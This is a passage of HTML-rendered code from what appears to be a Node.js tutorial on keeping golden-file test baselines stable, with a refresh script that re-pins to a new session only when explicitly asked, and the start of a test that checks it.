&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two committed files hold the frozen state: &lt;code&gt;fixtures/trace.json&lt;/code&gt;, the recorded input, and &lt;code&gt;fixtures/report.golden&lt;/code&gt;, the output it produces. Create the input and a couple of decoy session files so the failure mode is reachable:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fixtures&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; sessions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fixtures/trace.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;JSON&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{&quot;runId&quot;:&quot;run-a91c&quot;,&quot;events&quot;:[{&quot;id&quot;:&quot;e1&quot;,&quot;ok&quot;:true},{&quot;id&quot;:&quot;e2&quot;,&quot;ok&quot;:false,&quot;why&quot;:&quot;published without reading the tag back&quot;}]}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JSON&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fixtures/trace.json&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; sessions/2026-07-04-first.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; sessions/2026-08-01-newest.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;JSON&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{&quot;runId&quot;:&quot;run-ffed&quot;,&quot;events&quot;:[{&quot;id&quot;:&quot;e1&quot;,&quot;ok&quot;:true},{&quot;id&quot;:&quot;e2&quot;,&quot;ok&quot;:true},{&quot;id&quot;:&quot;e3&quot;,&quot;ok&quot;:true}]}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JSON&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second session is newer and greener. Remember that, because it is what the broken refresh reaches for.&lt;/p&gt;
&lt;h2&gt;Give the refresh command one obligation&lt;/h2&gt;
&lt;p&gt;Here is the refresh, written so re-pinning is something you ask for rather than something that happens to you. Save it as &lt;code&gt;update.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Refresh the baseline. This is the command the failing assertion tells you&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * to run, so it has one obligation above all others: on an unchanged tree it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * must reproduce the committed bytes, not pick a new subject.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *   node update.mjs                      # re-render the golden from the frozen trace&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *   node update.mjs --session &amp;#x3C;path&gt;     # deliberately re-pin to a new run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *   node update.mjs --session latest     # ...to the newest transcript&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync, writeFileSync, readdirSync, statSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { join } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { report } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./report.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; TRACE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;fixtures/trace.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GOLDEN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;fixtures/report.golden&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; latestSession&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; files &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readdirSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;sessions&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((f) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ({ f: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;sessions&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, f), t: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;statSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;sessions&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, f)).mtimeMs }))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((a, b) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b.t &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; a.t);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;files.length) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;no sessions to pick from&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; files[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].f;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--session&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; requested &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv[i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The default is the committed trace. Re-pinning is opt-in, because a refresh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// that silently changes the subject makes every diff read as drift.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; source &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; TRACE;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (requested &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;latest&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) source &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; latestSession&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (requested) source &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; requested;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (source &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; TRACE) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(TRACE, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(source, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`re-pinned trace from ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; trace &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(TRACE, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(GOLDEN, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;report&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(trace));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`wrote ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GOLDEN&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} (run ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;trace&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;runId&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;})`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;latestSession&lt;/code&gt; still exists, and picking the newest transcript is genuinely what you want right after doing a run worth grading. The change is that you have to say so. Generate the golden:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; update.mjs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fixtures/report.golden&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;wrote fixtures/report.golden (run run-a91c)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;run: run-a91c&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;events: 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;failed: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - e2: published without reading the tag back&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The assertion that makes the baseline real&lt;/h2&gt;
&lt;p&gt;Now test the refresh, not just the output. Copy the tree to a scratch directory, run the refresh there, and compare. Save it as &lt;code&gt;baseline.test.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { test } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:test&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { execFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:child_process&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync, cpSync, mkdtempSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { tmpdir } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:os&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { join } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; HERE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url).pathname;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; read&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (p) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(HERE, p), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the golden matches the committed trace&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; trace &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;fixtures/trace.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
